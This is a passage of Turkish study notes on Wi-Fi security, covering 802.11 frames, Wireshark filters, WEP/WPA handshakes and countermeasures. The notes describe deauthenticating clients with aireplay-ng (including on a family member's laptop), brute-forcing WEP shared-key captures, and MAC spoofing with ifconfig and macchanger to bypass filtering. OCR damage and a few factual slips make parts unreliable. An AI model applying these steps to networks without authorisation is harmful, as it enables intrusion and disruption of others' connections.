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adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Bu belgede kablosuz aglar ile ilgili kavramlardan, bunlarla ilgili giivenlik tehditlerinden ve atak
vektorlerinden bahsedilecektir. Dékiiman boyunca kullanilacak yazilim/donanim gerecleri asagidaki
gibidir:

Donanim&Yazilm

TP-LINK TLWN722N (150 | USB portlu kablosuz ag adaptorii (Atheros AR9271)
Mbps)

Macbook Pro 0SX10.9.4

VMware Fusion Kali Linux 3.14-kali1-686-pae

Pineapple Mark V

NOT: Pineapple Wifi network'lere pentest yapmak icin 2008 yilinda gelistirilmis bir cihazdir. Web
arayliziinden bu cihaz yo6netilebilecegi gibi cihaza ssh, telnet baglantilariyla da erisip
yonetebiliriz. Asagida pineapple cihazinin yapisin1 gérmektesiniz. Cihazin somut hali ise bir
sonraki resimde gosterilmektedir.

Serial Console Headers ! USE 2.0 Host Port
SMA Antenna Connector [ 10/100 Ethernet Port
Mode Selection Switches Indicator LEDs
Expansion Bus Door [El MicrosD Storage Slot

DC Power Port Bl sMA Antenna Connector



Kaynak: https://www.cyber-warrior.org/forum/wifi-pentest-donanimi-wifi-pineapple 527973,0.cwx
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2)

Kablolu aglar ile kablosuz aglan karsilagtirma tablosu asagida verilmistir.

Kablolu ag Kablosuz ag
Kapasite/yuik Genis Sinirli
Topoloji Point-to-point Broadcast
Giivenilirlik Gulvenilir Glvensiz
Tasinabilirlik Sabit Taginabilir

Kapasite kiyaslamasina bakacak olursak bildigin iizere érnegin evindeki modemine wifi yerine
kablolu baglanirsan maksimum hiz1 alirsin. Fakat wifi baglantisiyla modeme baglanirsan hizda
kayiplar yasanabilir. Iste bu nedenle kiyaslamada Kapasite ézelligi Kablolu aglar icin “Genis”
denmigken Kablosuz Aglar icin “Sinirli” denmistir.

(Page 3)
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3)
IEEE 802.11 standartlar agda bulunan cihazlarin birbirleri ile iletisimini saglamak icin gerekli
kurallar ortaya koyan bir protokoldiir. IEEE 802.11 standartlar1 OSI modelinin fiziksel katmaninda

yer almaktadirlar.

(Page 3)

4)

Frame
Kablosuz aglarda haberlesme frame'ler (cerceveler) iizerinden gerceklesir. 802.11 standartlarina
uygun bir frame'in i¢ yapis: asagidaki gibidir.

Frame

Ciital Duration | Address 1 | Address 2 | Address 3 Sequence Address 4 | Payload | CRC | 802.11 Frame

Control

More Power More

Protocol | Frame | Frame
ToDS | FromDS Retry Management | Data

Version | Type | Subtype Fragments

Security | Reserved

Ik 2 byte'lik kistm Frame Control'dur. Frame Control ise kendi iginde farkli kisimlara ayrilir. Bu
ayrilan kisimlardan bu yazi i¢in 6nemli olanlar1 Frame Type ve Frame Subtype'tir.

a. Frame Type

Frame Type WLAN frame'lerinin tipini belirleyen kisma denir. Management, Control ve Data
olmak tiizere 3 tane frame tipi vardir ve Frame Type bunlardan birinin sayisal degerini deger olarak
tutar.

i) Management Frame'ler

Management Frame'ler ag cihazi ile istemci arasindaki baglantinin kurulmasi sirasinda gidip gelen
paketlere denir. Ornegin Authentication, Deauthentication, Beacon ve Probe birer Management

Frame'leridirler.

NOT: Wireshark'ta sadece management frame'leri ve onun tiim alt tiplerini (Authentication',
Deauthentication'l, Beacon'y,...) gérmek icin filtre kutusuna girilecek ifade agsagidaki gibidir:

wlan.fc.type == 0  // fc means Frame Control. Value 0 represents all management frames.

Management Frame'lerin bahsettigimiz alt tiplerini agiklayalim.



e Authentication Frame (11) : Ag cihaz ile istemci arasindaki baglant1 istegi, kabulu ve
reddine dair olan frame'lere Authentication Frame'leri denir (11 sayis1 wlan.fc.type_subtype
== 0x11 denerek sadece Authentication Frame'lerinin Wireshark'ta goriintiilenmesinde
kullanilabilir).

e Deauthentication Frame (12) : Ag cihazi veya istemci (bazen saldirgan) baglantiy1
koparmak istediginde bu frame kullanilir (Hatirlarsan HepsiBurada'dan aldigin USB Wifi
Dongle ile Router'a bagli Annemin laptop'inin router'la olan baglantisim sekteye ugratmak
icin aircrack tool'unun bir alt tool'u olan aireplay-ng 'yi kullanmistin. Béylece annemin
bilgisayarinin interneti gitmisti. Deauthentication frame'leri iste bdyle suistimal
edilebilmektedir).

e Beacon Frame (8) : Access Point'lerin (AP'lerin) kendilerini tanitmak icin etrafa siirekli
broadcast seklinde yaydiklar1 frame'lere Beacon Frame'leri denir. Bu frame'ler yayici AP
hakkinda SSID, Frekans, Tiir, MAC Address gibi bilgiler icerirler. Beacon frame'lerini
wlan.fc.type_subtype==0x08 // Dikkat edersen type'tan sonra _subtype kullanilmus.

filtresiyle gorebiliriz. Asagida Wireshark'ta yakalanmig bir beacon frame'ine dair ekran
goriintiisiinii gormektesiniz.

I
P Frame 174: 330 bytes on wire (2640 bits), 330 bytes captured (2640 bits) on interface 0

P Radiotap Header vB, Length 26
=4

Type/Subtype: Beacon frame (0x08)
< Frame Control: ©x0082 (Mormal)
Version: ©
Type: Management frame (0)
Subtype: 8
P Flags: oxo
Duration: ©
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: Cisco-Li_aS:76:c3 (98:fc:11:29:76:¢3)
BSS Id: Cisco-Li_a9:76:c3 (98:fc:11:89:76:c3)
Fragment number: O
Sequence number: 79
I Frame check sequence: 0xb3365cde [correct]
P IEEE 802.11 wireless LAN management frame

e Probe Request (4) : Istemciler daha énce baglandiklar1 ve otomatik olarak baglan dedikleri
kablosuz aglar icin etrafa Probe Request frame'lerinden gonderirler. Buna ihtiyac vardir,
clinkii cep telefonu router'in kapsam alani digina giktiktan sonra tekrar kapsam alanina
girdiginde yaydig1 bu probe request frame'leri sayesinde router tarafindan otomatikmen
authenticate edilebilir ve kullanici cep telefonundan router'a baglan gibi adimlar1 yapmadan
router'a baglanmis olur.

ii) Control Frame'ler

Ag cihazi ile istemci arasindaki trafigin biitiinliig{i, dogrulugu Control Frame'leri sayesinde
gerceklesir. Ug farkli Control Frame vardir: Acknowledgement(ACK), Request-to-send(RTS),
Clear-to-send(CTS). Bu tiirler wireshark filtrelerinde wlan.fc.type_subtype komutlar ile
goriintiilenebilirler. Tiim Control Frame'leri goriintiilemek icin ise

wlan.fc.type ==



filtresi wireshark'a girilmelidir. Asagida bu filtrenin girildigi ve Control Frame'lerin siralandig bir
wireshark ekran goriintiisii gormektesiniz.

Filter: wlan.fc.type== v | Expressiom... Clear Apply Save

No. Time Source Destination Protocol | Lengtl | Info
436 7.286084000 Azurewav_da:5f:b7 802,11 40 Acknowl edgement, Flags=........ (s
437 7.2B6092000 Airtiesw_97:5d:9d (Ta) Azurewav_da:5f:b7 802,11 45 Request-to-send, Flags=........ C
438 7,286469000 Airtiesw_97:5d:9d (TA) Azurewav_da:5f:b7 802,11 45 Request-to-send, Flags=........ C
438 7 FREITAAAA brirawav o= S5 h7  &A7 11 A7 brknowl adaamant  Flanss r

+/ Frame 435: 46 bytes on wire (368 bits), 46 bytes captured (368 bits) on interface 0
+ Radiotap Header v0O, Length 26
—| IEEE 802.11 Request-to-send, Flags: ........ C

Type/Subtype: Reguest-to-send (Oxlb)
- Frame Control Field: Oxb400
...... 00 = Version: O

..., OL., = Type: Control frame (1)
16011 .... = Subtype: 11
+| Flags: Ox00
000 0000 1100 0100 = Duration: 196 microseconds
Receiver address: Azurewav_da:5T:b7 (24:0a:64:da:5T:b7)
Transmitter address: Airtiesw_97:5d:9d (18:28:61:97:5d:59d)

+| Frame check seguence: Ox633969e7 [correct]

0oE0 00 00 1a 00 2f 48 00 G0 am a3 3f O 00 00 OO OO cooddHOe R0
0010 10 30 6c 09 cO 00 hd 00 00 00 [ 00 c4 00 24 O
0020 64 da 5f b7 18 28 61 97 5d 9d &7 69 39 63

Frame detaylarindaki mavi satirdan da goriilebilecegi {izere secilen Control Frame'in subtype'l
Request-to-send imis.

iii) Data Frame'ler
Esas tasinacak bilginin yer aldig1 frame'lere denir. Yani bunun disindakiler hep bu verinin
iletilebilmesi icin vardir. Data Frame'ler ise iletilecek verinin tasindig1 frame'lere denir.

Ozetle Management Frame'ler baglanti iizerine gerekli frame'lere denir, Control Frame baglantimin
dogrulugu ve biitiinliigii iizerine gerekli kontrolleri iceren frame'lere denir ve Data Frame ise
tasinacak verinin yer aldig1 frame'lere denir. Asagida bu frame'lere genel bir bakis gérmektesiniz.

Frame type Wireshark Filter
Management frames wlan.fc.type ==
Control frames wlan.fc.type ==

Data frames wlan.fc.type ==



Management Frame Subtypes Filter

Association request wlan.fc.type_subtype ==
Association response wlan.fc.type_subtype ==
Probe request wlan.fc.type_subtype ==
Probe response wlan.fc.type_subtype ==
Beacon wlan.fc.type_subtype ==
Authentication wlan.fc.type_subtype == 11
Deauthentication wlan.fc.type_subtype == 12
Control Frame Subtypes Filter

Request To Send — RTS wlan.fc.type_subtype == 27
Clear To Send — CTS wlan.fc.type_subtype == 28
Acknowledgment — ACK wlan.fc.type_subtype == 29

(Tim tip ve alt tipler icin bkz : http://bit.ly/IrHDhvh )

Filter Examples

# Shows beacons:
wlan.fc.type_subtype ==

# Shows everything except the beacons:
not wlan.fc.type_subtype ==

# Shows probe requests or probe responses:
wlan.fc.type_subtype == 4 or wlan.fc.type_subtype ==

# Shows everything except the beacons, probe requests or probe responses:
not wlan.fc.type_subtype == 4 and not wlan.fc.type_subtype == 5 and not wlan.fc.type_subtype==8

5)

Kablosuz Aglar Hakkinda Baz1 Kavramlar

WEP
Kablosuz aglarda havada giden paketlerin merakli gozlerden saklamak adina sifrelenerek
iletilmesini saglayan bir sifreleme protkoliidiir. Uctan uca sifreleme saglar.

v
IV (Initialization Vector) bir sayidir ve havada giden sifrelenmis paketlerin icerisindeki
dizgi tekrarlarini minimize etmeye yarar. Buna ihtiyag vardir, ¢ilinkii bir dizgiyi ¢6zen hacker
bdylelikle paket icindeki tiim ayni dizgileri ¢ozebilir. Halbuki IV ayn1 dizgelerin farkh
ciktilarin tireterek hacker'larin isini zorlagtirmaktadir.


http://bit.ly/1rHDhvh

WPA
WEP protokoliinde cikan giivenlik zafiyetlerinin giderildigi bir sonraki WLAN sifreleme
protokoliidiir. Aslinda temelde WEP'i kullandi81 icin bu sifreleme protokolii gegici bir
protokol hitkmiindedir.

WPA?2
Gegici ¢oziim olan WPA'nin yerini 2004 yi1linda WPA?2 almistir. Bu sifreleme protokoliinde
Access Point'lerle olan baglanti 6nce asagidaki paket aligverisleriyle hazirlanir.

Sending Authentication Request Frame // Istemciden Access Point'e
Authentication Successful Frame // Access Point'ten Istemciye
Sending Association Request Frame // Istemciden Access Point'e
Association Successful Frame // Access Point'ten Istemciye

Bu paketler ile Access point istemciyi hem authenticate etmis olur hem de associate
etmis olur. Bu baglant1 asamalari sonrasi sifreli veri aktariminin gerceklesebilmesi icin bu
sefer 4 yollu el sikigsma islemine baslanir.

< anonce
Station(STA) snonce + MIC > Access Point (AP)
< GTK + MIC
ACK >

Access Point dncelikle Station'a anonce diye kisaltililan “access point number used once”
frame'inden gonderir. Ardindan station snonce diye kisaltilan “station number used once”
frame'ini gonderir. Snonce frame'inin icerisinde snonce frame'inin veri biitiinligiinii
saglayan, bit manipule etme saldirilarina kargi 6nlem sunan MIC (Message Integrity Check)
fieldr yer almaktadir. Bu field (MIC) sayesinde saldirganlar sifrelenmis verinin 6niinii kesip
icerisindeki veriyi degistirip hedefe iletmesinin éniine ge¢ilmis olmaktadir. Access Point
gelen snonce'a karsilik GTK frame'ini yollar ve station da ACK yollayarak sifreli iletisime
hazir oldugunu beyan etmis olur. Boylece 4 yollu handshake tamamlanir ve veri iletisimi
baglar.

Access Point
Kablosuz ag istemcilerinin baglandigi, bir ag olusturan merkezi cihaza Access Point, yani
erisim noktasi adi verilir. Bu cihaz router gibi bir donanim olabilecegi gibi 6zellestirilmis bir
linux dagitimi da olabilir.

SSID
Access Point'in digaridan gériinen adidir. Ornegin telefonumuzun wireless kismindan
internete baglanacagimiz zaman router'larin adlari siralanir. Iste bu adlara SSID
denmektedir.

802.11x
Kablosuz ag cihazlarimin birbirleriyle nasil haberlesecegini tanimlayan - 6rnegin bir
frame'de ne gibi field'larin olacagini, hangi sirada olacagini belirleyen - ve bu tanimlarin
cihazlarin anlayabilecegi bir protokol halinde sunuldugu standartlara 802.11 standartlar:
denir. Cikan her yeni bir protokol 802.11x dizisi seklinde beyan edilir.

Channel

Access Point'in hangi frekansta yayin yapacagin belirleyen parametreye channel denir.



Channel'lar 1 ila 14 arasinda deger alirlar. Wifi cihazlar1 genelde 2.5 GHz bandini kullanirlar
ve bu bant 5SMHz'lik araliklarla 14 kanala ayrilmistir. Her Access Point ayni anda bir
kanalda ¢aligabilmektedir. Iletisimin saglanabilmesi i¢in Access Point ve istemcinin aym
kanalda (frekansta) olmasi gerekir. Access Point'lerin birbirine yakin bantlarda ¢alismasi
durumunda frekanslar iistiiste gelebileceginden overlapping artar ve dolayisiyla giiriiltii
olusur. Bu nedenle Access Point'ler genelde birbirlerine gorece olarak uzak 1, 6 ve 11 nolu
channel'lan (frekanslar) kullanirlar .
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6)
Kablosuz Ag Standartlari

802.11a
5 GHz bandinda calisir.
Maksimum veri hiz1 54 Mbps'tir.

802.11b
2.4 GHz bandinda calisir.
Maksimum veri hiz1 (data rate'i) 11 Mbps'tr.
Giliniimiizde yaygin kullanilan bir standarttir.

802.11g
802.11b uyumlu bir standarttir.
2.4 GHz bandinda calisir.
Maksimum veri hiz1 54 Mbps'tir.

802.11i
Giivenli WLAN kullanim icin diigiiniilmiis bir standarttir.
AES TKIP adh bir sifreleme methodu kullanir.

(Page 7-8)

7)
Kablosuz Ag Interface'lerinin Calisma Modlar1

Kablosuz ag kartlar1 dort farkli modda galisabilmektedir. Bunlar Managed mod, Master Mode,
Monitor Mod, Promiscous Mode ve Ad-Hoc Mode'dur.

Managed Mode
Bir Access Point'e baglanan istemcinin Access Point'ten hizmet alabildigi Access Point
moduna denir.



Master Mode
Access Point mode diye de adlandirilan master mode bir cihaz1 access point'mis gibi
yapmaya denir. Ornegin bu bir linux dagitim olabilir. Linux dagitiminin iizerinde cahistig
makinenin ethernet karti master mod'a gecerse bir network olusturmaya miisait duruma
gelir. Ciinkii ethernet kart1 icin bir SSID ve bir de channel olusturur. Etraftaki istemciler
SSID'si ile gordiikleri ethernet kart1 tarafindan authenticate edilebilir ve baglant1 kurabilirler.
Fakat bu baglanti istemciler managed mode'da ise gerceklesebilir. Aksi takdirde
gerceklesemez.

Monitor Mode
Ortamda dolasan tiim paketleri yakalayabilmeyi saglayan moda denir

Promiscous Mode
Ortamda dolasan tiim paketleri duruma gore yakalayabilmeyi saglayan moda denir.

Monitor vs. Promiscous
Monitor modda etrafta dolasan paketleri yakalayabilmek icin Access Point'e ya da bir
istemciye baglanma mecburiyeti yokken Promiscous mode'da bu mecburiyet vardir. Monitor
modun bu avantaji yaninda Promiscous moda gore bir dezavantaji ise sudur ki monitor mod
sadece wireless ortaminda kullanilabilen bir mod iken Promiscous mod hem wireless hem
de kablolu ortamda kullanilabilen bir moddur.

Ad-Hoc Mode
Istemcilerin birbirleriyle arada bir Access Point olmadan haberlesebilmesini saglayan moda
denir.

(Page 9)

8)
Kablosuz Ag Baglant1 Tipleri

Kablosuz aglarda temelde iki tip baglanti sekli vardir: Bunlardan birincisi Ad-Hoc'tur, digeri
Infrastructure'tir.

a. Ad-Hoc Aglar
Ad-hoc aglar iki kablosuz cihazin arada baska bir birlestirici (e.g. Access Point) olmadan
haberlegebildigi aglara denir. Bu haberlesme istemcilerin ethernet kartlarinin Ad-Hoc modda
olmasi sayesinde gerceklesebilmektedir. Ad-Hoc aglar genellikle bir evde kisisel isler icin
kullanilir. Ornegin bir evde iki bilgisayar olsun ve bu bilgisayarlardan birinin internet
baglantisi var olsun. Diger bilgisayara da internet baglantisin1 paylastirmak istersek
ontlimiize ii¢ secenek cikar: Birincisi iki bilgisayar arasinda bir LAN kablosu ¢ekerek
internet paylastirmak, ikincisi bilgisayarlar arasinda bir hub/switch koyup bilgisayarlar1 bu
araci cihaz ile konusturmak, {iciinciisii ise bilgisayarlarin ethernet kartlarin1 Ad-Hoc moda
cevirip interneti olan bilgisayarin internetini paylastirmaktir. Bu iiciincii secenek kullanildig:
takdirde bir Ad-Hoc ag1 kurulmus olur. Tabi bu iigiincii secenek i¢in bilgisayarlarin kablosuz
ag kartlarina sahip olmalar gerekmektedir. Eger bilgisayarlarin kablosuz ag kart1 yoksa



piyasada 20$, 30%'a satilan USB Wireless cihazlar ile de ayni islem gerceklestirilebilir.
Kisacasi bu ti¢lincii secenek, yani ad-hoc secenegi herhangi bir Access Point kullanmadan
iki bilgisayar birbiriyle haberlestirebilen kullanish bir alternatiftir.

b. Infrastructure Aglar
Infrastructure aglar istemcilerin kablosuz ortamda birbirleriyle haberlesebilmeleri icin araci
bir Access Point'e ihtiya¢ duyduklari aglara denir. Ad-Hoc aglara gore biraz daha
komplekstirler. Infrastructure aglarda aga tiye istemciler birbirleriyle direk konustuklarini
diistiniirler, fakat tiim paketler Access Point araciligiyla iletilir. Bu tip aglarda aga
baglanmamigs herhangi bir kablosuz cihazin agin tiim trafigini izleme riski vardir. Bu sebeple
infrastructure aglarda iletisim uctan uca sifrelenir. Sifreleme islemi icin WEP ya da WPA
gibi protokoller kullanilir. Boylece istemci ve Access Point arasindaki trafik izlense bile
anlasilmaz olacaktir.

Asagida bir Ad-Hoc agi ve bir de Infrastructure ag1 gormektesiniz:

V) Uy
1 = S
L |, =1 |l
g L [
Ad-Hoc Ag1 Infrastructure Agi

Gortildiigi tizere bu ikisinin arasindaki tek fark istemcilerin arasina araci bir cihazin girip
girmemesidir.
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9)
Kablosuz Aga Baglanti Kurma

a. Authentication
Bir istemcinin hedef Access Point agina dahil olmasi i¢in uygulanan ilk adimdir. Bu adimda
iletilen frame'ler sifrelenmemektedir. 4 yollu el sikisma sonrasi sifreli iletisime gecilecektir.
Iki tiir authentication vardir:



e Open System Authentication
Bu tip kimlik dogrulamada istemci i¢inde kendi MAC adresinin oldugu bir
Authentication Request frame'i gonderir. Access Point ise istegin kabul edildigine
dair Authentication response génderirse bu asama tamamlanir. Bu kimlik dogrulama
sifresiz router'lar icin kullanilir. Béylece sifresiz bir sekilde internet erigimine
kavusulur.

e Shared Key Authentication
Bu tip kimlik dogrulamada istemci router'in sifresini biliyor olmahdir. Istemci sifreli
bu router'a erisebilmek icin Router'a authentication request frame'i génderir. Router
ise buna karsilik bir challenge text génderir. Istemci router’in sifresi ile “gelen bu
challenge metnini” sifreler ve Router'a sifreli metni gonderir. Router ise disaridan
erisenlerin girmesi gereken sifreyle bu metni ¢dzer ve ¢ikan metin eger énceki
gonderdigi challenge text ile ayniysa istemci sifreyi biliyor der. Bunun iizerine router
istemciye authentication response frame'i yollayarak ilk asamay1 sorunsuz bir sekilde
tamamlatmisg olur.

Q WLAN Client —— 7 /

authentication request

Access
Point

P.

challenge text

encrypted challenge text

>

authentication respose

<

NOT: Fark ettiysen istemci Access Point'e baglanmak igin Access Point'in sifresini
gondermiyor. Access Point'in gonderdigi text'i sifreyle sifreliyor ve bu sifrelenmis
metni Access Point'e gonderiyor. Boylece ag1 dinleyen saldirgan direk sifre iceren
paketi yakalayamacagindan saldirganin isini zora sokmus oluyoruz.

Fakat saldirganin sifreyi kirmasi imkansiz degildir. Ciinkii ag1 dinleyen saldirgan
once istemciyi aircrack-ng ailesinden olan aireplay-ng ile deauthenticate edip sonra
authenticate olmaya calisan istemcinin Access Point'le olan paket alisverisini
airodump-ng ile dinleyerek hem sifrelenmemis metni iceren paketi hem de
sifrelenmis metni iceren paketi ele gecirebilir ve boylece sifrelenmemis metni brute
force ile sirayla sifreleyerek sifrelenmis metinle ayn1 mi1 degil mi diye otomatize bir
sekilde kontrol edebilir ve nihayetinde metinler eglestiginde sifreyi tespit edebilir.



b. Association
Istemciler kimlik dogrulama (authentication) adimim gectikten sonra Access Point
tarafindan aga kayit edilmelidirler. Bu isleme Association denmektedir. Istemci association
icin bir istek frame'i génderir. Access Point bu istegi degerlendirir ve olumlu ya da olumsuz
bir cevap doner. Eger cevap olumlu olursa Access Point gonderdigi association
response'unun igerisine istemciyi daha sonra taniyabilmek i¢in bir ID koyar. Boylece
association agamasi da tamamlanmis olur.

Bu iki asama gerceklestikten sonra 4 way handshake, yani 4 yollu el sikisma gerceklesir ve uctan
uca sifreli iletisim temin edildiginden istemci artik internete ¢ikabilir.
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10)
Kablosuz Aglar Hakkinda Linux Komutlar1

Kapsama alaninda bulunan Access Point'leri kesfetmek icin iwlist komutu asagidaki gibi
kullanmlabilir.

> sudo iwlist wlan2 scan | grep ESSID

Output:
ESSID:"AirTies_Air5341"
ESSID:"EMRECAN"
ESSID:"Kat4Daire8"
ESSID:"VodafoneNet-JFUYG3"
ESSID:"Sertkaya"
ESSID:"Incaramazan"
ESSID:"TTNET_ZyXEL_URT9"
ESSID:"audio78"
ESSID:"VodafoneNet-BZUNAA"
ESSID:"TTNET _HUAWEI 4AC7"
ESSID:"TTNET_ZyXEL_FCNE"
ESSID:"Metronet"

WEP ile Korunan Access Point'lere Baglanma

iwlist ile bulunan Access Point'lerden WEP ile korunan birine baglanmak i¢in iwconfig
komutu asagidaki gibi kullanilabilir.

> sudo iwconfig wlan2 essid "AirTies_Air5341"



WPA ile Korunan Access Point'lere Baglanma

Bu boliim denendi, ama bagarili olunamadig) icin detaya girilmemistir. Dilersen sayfa 14-15-16' dan
detaylarina bakabilirsin. O sayfalarin 6zetle yaptig1 sey sadece su ii¢ satirdir. Asagidaki ii¢ satir
sonras! terminalden router'a baglanmis olmamiz gerekir.

> sudo apt-get install wpasupplicant
> sudo wpa_passphrase AirTies_Air5341 tuzlucayir > wpa.conf
> sudo wpa_supplicant -D wext -i wlan0 -c /home/wpa.conf

(Page 13-16)
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WEP'in Kusuru

WEP ilk baslarda 64 bitlik key kullanmaktaydi. Bu 64 bitin 24 biti verinin sifrelenmesini
giiclendirmek adina sonradan kullanilacak IV (Initialization Vector) degerini, geri kalan 40 bit ise
anahtarin kendisini olusturmaktaydi (Bu anahtar router'in sifresidir). Parola i¢cin 40 bit ayrildigindan
dolay1 WEP protokoliinii kullanan router'lara en fazla 10 karakterlik bir parola koyulabiliyordu.
Daha sonralar1 bu 64 bitlik key paket limiti 128'e, 152'ye ve son olarak 256 bite yiikseltilmistir.

https://askubuntu.com/questions/304460/wifi-only-accepts-passwords-of-5-or-13-characters

(Page 19)
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Kurumsal aglarda yiizlerce, binlerce kullanici i¢in sadece bir tane parola ile router'a baglanmak
beraberinde giivenlik sikintilar getirebilir. Bu nedenle biiyiik aglarda WPA yerine WPA Enterprise
kullanilir. Personel Active Directory adli authentication, directory, policy gibi hizmetler veren bir
veritabanindan ve bu veritabanini kullanan LDAP adh protokolden faydalanarak kendi
makinalarinin kullanici adi ve sifresiyle aga dahil olabilirler.

NOT: Active Directory adli veritabani bir Microsoft hizmetidir. LDAP ise bu hizmeti handle eden
bir uygulama protokoliidiir, bir standarttir.

(Page 21)
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Kablosuz Aglarda Giivenlik

Kablosuz aglardaki en temel giivenlik problemi verilerin hava ortaminda serbestce dolagmalaridir.
Normal kablolu aglarda 6rnegin switch cihazi kullanarak giivenlik fiziksel anlamda saglaniyor.
Clinkii switch'e bagli olan makinalar switch'e bagh olmayan makinalardan korunmus oluyorlar.
Oysaki kablosuz aglarda tiim iletisim hava ortaminda gerceklestiginden veriler gelisigiizel bir



sekilde dilenilen kimse tarafindan alinabilmektedir.
(Page 22)
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Kablosuz Aglarda Giivenlik Onlemleri

Kablosuz aglardaki en biiyiik giivenlik riski doguran sebeplerden birisi Access Point cihazinin
ontanimli ayarlarinin degistirilmemesidir. Ornegin SSID isminin varsayilanda birakilmasi, Access
Point'in yonetim paneline varsayilan olarak sifresiz erisme ayarinin oldugu gibi birakilmasi, gibi...

Onlemler
a. SSID'yi Saklama

Access Point'ler ortamdaki kablosuz cihazlarin kendilerini bulabilmeleri i¢cin devamli anons
yaparlar. Bu anonsa teknik tabirle beacon frame denmektedir. Bu anons yayini ile istemciler
ilgili Access Point'in SSID'sini 6grenirler ve dilerlerse bu SSID'yi kullanarak o Access
Point'e baglanabilirler. Giivenlik acisindan Access Point'lerin beacon frame yayinlarini
durdurabiliriz. Boylece Access Point SSID'sini istemcilerden saklayabilir ve sadece Access
Point'in SSID'sini bilen istemcilerin baglanti kurabilmesini saglamis oluruz.

SSID saklama her ne kadar bir 6nlem olsa da teknik kapasitesi belli bir diizeyin iizerinde
olan saldirganlar tarafindan rahatlikla 6grenilebilmesi miimkiindiir. S6yle ki bir istemci ile
Access Point arasinda SSID bilgisi sifrelemeden gider. Dolayisiyla bir USB Wifi ile bu
paket alinabilir ve SSID ismi 6grenilebilir.

b. MAC Tabanh Erisim Kontrolii

Piyasada var olan Access Point cihazlarinda giivenlik amaciyla konulmus MAC adresine
gore istemci kabulune dair bir filtre 6zelligi mevcuttur. Bu 6zellik ile Access Point'e
kendisine baglanabilecek istemcilerin MAC'i kaydedilir, boylece tanimlanmamis MAC
adresine sahip istemciler Access Point'e baglanamaz.

MAC tabanl erisim kontrolii her ne kadar bir 6nlem olsa da teknik kapasitesi belli bir
diizeyin lizerinde olan saldirganlar rahatlikla Access Point tarafindan izin verilmis bir MAC
adresini 6grenebilir. Soyle ki aga bagh istemcilerin MAC adresleri iletisim sifreli de olsa
sonucta hava ortamindan iletilmektedir. Burnu kuvvetli koku alan bir hacker bu paketleri
yakalayarak izin verilmis MAC adresini bulabilir ve kendi MAC adresini koklayip buldugu
MAC adresi ile degistirerek Access Point'e baglanti talebinde bulunabilir. Boylece Access
Point MAC adresi uygun goriinen hacker'in aga girmesine mani olmayacak ve hacker
baskasinin MAC adresi sayesinde aga dahil olabilmis olacaktir.

Linux ve OS X sistemlerinde MAC Adresinin Degistirilmesi

Linux ve OS X isletim sistemlerinde bilgisayarimizin MAC adresini degistirmek bize
bir komut kadar yakindur.

> ifconfig ethO down
> ifconfig ethO hw ether 00:11:22:33:44:55



> ifconfig ethO up
Degisen MAC adresi ifconfig diyerek ethO'la alakal bilgiler icerisinde goriilebilir.
> ifconfig

Output:
eth0 Link encap:Ethernet HWaddr 00:11:22:33:44:55
inet addr:192.168.2.71 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::211:22ff:fe33:4455/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:68025 errors:0 dropped:0 overruns:0 frame:0
TX packets:44197 errors:0 dropped:0 overruns:0 carrier:1
collisions:0 txqueuelen:1000
RX bytes:94777071 (94.7 MB) TX bytes:4113315 (4.1 MB)

MAC adresini degistirmenin bir diger yolu macchanger adli tool'u kullanmaktir.
Onun kullanilis1 da yukaridaki gibidir.

> ifconfig ethO down
> macchanger -m 00:11:22:33:44:55 ethO
> ifconfig ethO up

Windows Sistemlerinde MAC Adresinin Degistirilmesi
Windows'ta MAC adresi degistirmek i¢in Bilgisayarim -> Yonet -> Aygit YOneticisi

-> Ag Bagdastiricisi -> Ozellikler -> Gelismis secenekleri izlenir ve asagidaki
ekrana ulasildiktan sonra
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adresi girilir. Boylece MAC adres degisikligi islemi tamamlanmus olur.

c. Iletigimi Sifreleme

Kablosuz aglarda trafigin bagkalar tarafindan izlenmemesi icin alinmasi gereken en temel
onlemlerden biri trafigi uctan uca sifrelemektir. Kablosuz aglarda sifreleme WEP ve WPA
olarak adlandirilan iki protokol iizerinden gerceklesebilir. Fakat her iki protokol de giivenlik
onlemi alinmadig: takdirde giiniimiiz icin giivenli sayilmaz. Ciinkii bir USB Wifi cihazi ile
sifreli aglara sizmak giiniimiizde miimkiindiir.

Bugiine kadar WEP kullananlara hep WPA'ya gecmeleri ve uzun/karmasik parola se¢meleri
onerilirdi. Fakat 2008'in son aylarinda iki iiniversite 6grencisinin yaptig1 calismaya goére
WPA'nin 15 dakikada kirilabildigi ispatlanmustir.
Sonug:
e Access Point'lerin éntaniml ayarlar1 mutlaka degistirilmelidir.
e Access Point ile istemci arasindaki MAC adresleri havadan her tiirlii agik bir
sekilde gittigi icin MAC filtreleme ¢6ziim degildir.

o WEP veya WPA ile korunmus aglar ek giivenlik 6nlemi alinmadig siirece giivenli
degildir.

Yukarida a, b ve c diye madde madde bahsedilen 6nlemler katmanl giivenlik anlayis1 geregince
uygulandig takdirde giivenlik garanti olmasa da bir kademe artmis olacaktir.

(Page 22-24)
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Kablosuz aglardaki giivenlik riskleri kullanilan protokollerin 6zelliklerinden ve kullanicilarin
bilingsizliginden kaynaklanmaktadir.

(Page 25)
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Kablosuz aglara yapilabilecek saldirilar kii¢iik numaralarla anonim olarak yapilabilmektedir. Bu
durum saldirganlarin cesaretini arttirici bir etki yapmaktadir.

(Page 25)
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Kablosuz Aglarda Kesif Calismalar

Yakin ¢evrede bulunan Access Point'lerin tespitine “kablosuz aglarda kesif” denmektedir. Bu kesif
isi abartihp WLAN cihazlarinin arabalara taginmasiyla ya da yaya olarak tasinmasiyla etraftaki
Access Point'lerin kesfine ise Wardriving denmektedir. Bu kegfedilen Access Point'lerin sifreleme
kullanip kullanmadigini ve hangi channel'dan calistigin1 kesfedip bulunduklan yerlere ¢izilmesine
de Warchalking denmektedir.

Wardriving islemi icin Windows sistemlerde {icretsiz Netstumbler programi kullanilabilirken Linux
sistemlerde ticretsiz olan Kismet programi kullanilabilir.

Kablosuz aglarda kesif islemi pasif ve aktif olmak iizere ikiye ayrilmaktadir. Aktif kesif isleminde
kesif yapan kisi kendini belli eder, ciinkii aradig1 cihazlar icin etrafa anons yapar. Pasif kesif
isleminde ise kesif yapan kisi etrafa anonsta bulunmaz ve sadece ortamdaki anonslar dinleyerek
gizli calisan cihazlar belirlemeye calisilir.

